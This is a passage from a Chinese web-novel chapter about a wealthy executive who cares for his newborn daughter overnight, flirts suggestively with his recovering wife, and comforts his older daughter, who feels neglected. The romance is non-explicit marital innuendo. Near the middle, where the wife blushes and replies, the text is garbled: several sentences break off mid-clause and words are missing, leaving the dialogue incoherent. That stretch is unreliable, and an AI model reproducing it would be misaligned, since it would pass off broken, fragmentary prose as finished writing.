赵叙平困得直打哈欠,倒床就睡,两个小时后,在孩子的哭声中醒来,睡眼朦胧看向婴儿床,强撑着起来冲奶粉,喂完孩子,换完尿片,给孩子拍了拍奶,又开始抱着在屋里来回走。 好不容易把孩子哄睡,他回床上继续睡,清晨,天刚蒙蒙亮,再次醒来喂奶…… 熬到跟月嫂换班,赵叙平将孩子交给月嫂,拖着疲惫的步伐来到自己跟周静烟的卧室。 周静烟已经醒了,刚洗漱完,从卫生间出来就看见他,笑着问:“第一次带宝宝睡,感觉怎么样?” 赵叙平苦着脸走到她跟前,抱住她,深深叹息,哽咽着感慨:“媳妇儿,你可真不容易……” 周静烟一脸懵:“啊?” 赵叙平都快哭了:“我才带着闺女睡一晚上,都快被折磨疯了,想起你以前带着俩孩子,怎么熬过来的啊……” 周静烟捧起他的脸,笑道:“月舒闹你啦?其实听雨和云生像她那么大的时候,挺乖的,不闹觉,而且我不喂母乳,那会儿请了两个月嫂,轮流上夜班,所以就还好,没觉得多难熬。” 赵叙平声音发蔫:“这样啊,那你也挺不容易的,带孩子真累。” 周静烟捏捏他耳朵:“让你别跟月嫂抢活干,非不听!下次还带不带她睡?” 赵叙平点头:“我干一歇一,休息两夜,大后天晚上继续。” 周静烟愣了片刻,笑着微微摇头,温柔劝道:“你有这份心,已经是个很好的父亲了。” 赵叙平:“不,还不够好,好父亲得尽量亲力亲为。” 周静烟:“那也要分情况嘛,你白天还得上班,管着这么大个集团,每天这么多事情要处理。晚上带完她,白天又要去公司,你可不是铁打的,哪能禁得住这样折腾!” 赵叙平握住妻子的手,笑容疲惫却欣慰:“媳妇儿知道心疼我,我就很满足了。” 周静烟沉下脸来:“一个晚上都把你熬成这样,休息两晚都未必补得回来……咱们又不是请不起月嫂,俩月嫂在这儿呢!你要是实在想带她,那就周五晚上带一夜,周六在家补觉。” 赵叙平点头答应:“行,媳妇儿怎么安排我就怎么做,一切听从指挥。” 周静烟脸上笑容又回来了:“这才对嘛!” 赵叙平将头搭在她肩膀,轻声长叹,纳闷道:“以前咱俩整宿整宿折腾,也没见这么累啊,洗个澡就精神多了,高高兴兴去上班。昨晚还睡了三四个小时,怎么这么累?” 周静烟:“因为带小孩睡觉就是这么累,所以我觉得得请两个月嫂轮流带,不然可着一个折腾,开的薪酬再高,人家也有崩溃的时候,一崩溃,就可能会虐待孩子。听说还有给孩子下安眠药的呢!” 说完,周静烟脸上发烫,顿了顿,抬腾,你洗个澡倒是有精神,我连洗澡都费劲,得休 她这副娇羞模样,勾得赵叙平起了火, ,咱俩——” 话没说完,周静烟冷着脸打断:“出了久,一两回就够了。” 赵叙平搂紧她:“一两回哪够啊!” 周静烟想起从前就怕得厉害:“刚出月子,哪禁得住折腾太久?还让不让我活呀……” 赵叙平叹气,亲亲她耳朵,哑着嗓子说:“也是,你得多休息一阵儿,养好身子,以后才能可劲儿折腾,咱们必须走可持续发展路线。” 周静烟闭眼扇他:“折腾折腾折腾!就知道折腾!没完没了折腾!赵叙平我真是受够你了!” 他腆着脸笑道:“受够也没招,等你彻底恢复了,我要折腾个够。” 停顿片刻,他凑到妻子耳边,轻声开口:“我要听你哭着叫哥哥,哭着求我别停。” 周静烟满面通红,哪还有脸听下去,推开他回到床上,捞起被子蒙住头。 赵叙平走过去,俯身隔着被子抱她,嘴上仍使坏:“说两句就害羞了?折腾起来怎么不知道害羞?一口一个哥哥我要,要什么啊,周静烟,说清楚,你要什么?” 周静烟忽地掀开被子,红着脸给他一巴掌:“我!要!揍!你!” 挨了揍他反倒神清气爽,乐呵呵握住她的手,亲了亲:“让你揍个够。” 周静烟扭过头去:“哼!不理你!” 他竟起身了:“行,我上班去。” 周静烟偷摸望过去,见他头也不回走到门口,赶在他开门前喊出声:“回来!” 男人立马转身往回走,逗得周静烟发笑,面颊绯红,娇滴滴望着回到床前的他。 “回来干嘛?”赵叙平俯身,俊脸凑近她,唇边笑意邪肆。 周静烟先是抿唇憋笑,睁大眼睛看他一会儿,才娇声开口:“亲亲。” 赵叙平蜻蜓点水般碰一碰她额头。 她摇摇头:“不够。” 赵叙平又在她鼻梁上啄一下。 她拐着弯儿地“嗯”一声。 赵叙平笑了:“还不够?” 她点点头。 赵叙平忽然在她左右脸颊狠狠各亲一下,捧起她的脸,温柔目光中透着强硬:“够了么?” 周静烟终于应道:“够啦……” 他侧着头,轻声哼笑:“我觉着不够。” 说完,薄唇覆上那双唇,吻了许久才罢休。 在公司忙忙碌碌过完半天,赵叙平下午才得闲,开完会急忙赶回办公室,进门就掏出手机看家里的群消息。 母亲在群里发了许多小闺女的照片,大多都是重复的,赵叙平看不腻,不嫌多,一张张点开,放大,嘴角就没下去过。 照片看完,他让母亲再录些视频。 很快,母亲发来一段周静烟给小闺女换尿片的视频。 赵叙平不笑了,皱着眉打字:【怎么让静烟换?】 母亲回道:【静烟闲不住,非要换,我想着她在屋里睡了那么久,怪闷的,换个尿布也不累,就让她上手了。】 赵叙平又点开视频,本想再看看女儿,目光却被周静烟吸引,停在她身上压根挪不开。 刚生完孩子的她,浑身散发着母性的光辉,这阵子又将她养胖了些,肤白皮嫩,身段丰盈,赵叙平看得心痒,体内着了火似的难受,只得放下手机去浴室冲个凉水澡。 今天加了会儿班才回家,赵叙平火急火燎上楼,只想赶紧抱抱妻子,还没走到房间门口,门忽然开了,母亲带着老大老一出来。 “他俩放学回来想看看妈妈,我就带他俩来了。”章芝纭一手牵着一个孩子,笑道。 赵听雨撒开奶奶的手,扑向父亲,赵叙平俯身将她抱起。 “爸爸,我好想你!” “听雨,爸爸也想你。”赵叙平亲亲大女儿。 “爸爸,咱俩能单独聊聊吗?” 赵叙平一愣,迎着大女儿期盼的目光,点了点头。 他抱着大女儿走进隔壁那间客房,关上门,来到沙发坐下。 赵听雨坐在父亲腿上,抬起胳膊圈住父亲脖子,小脑袋搭在父亲肩膀上,呜呜哭起来。 她哭得太突然,赵叙平瞬间慌了神,捧起她的脸,急忙问:“怎么了这是,谁欺负你了?” 见她摇头,赵叙平追问:“爸爸又伤着你的心了?” 赵听雨撇着嘴沉默一会儿,轻轻点头。 “爸爸怎么伤你心了?告诉爸爸,爸爸一定改正。” “自从有了妹妹,爸爸每天下班回来,不是陪妈妈就是陪妹妹,很少陪我了呜呜呜……我知道自己应该做个好姐姐,可是呜呜呜……可是我也想爸爸多陪陪我呜呜……” 赵叙平浅浅叹气,无奈点头:“好,爸爸一定抽时间多陪陪你。” 他终于深刻意识到,以后自己有三个祖宗要哄,还有一个孽障要收拾。 当个顾家的大老板,可太不容易了,赵叙平心头涌起淡淡的烦恼,很快,又被许许多多的甜蜜冲散。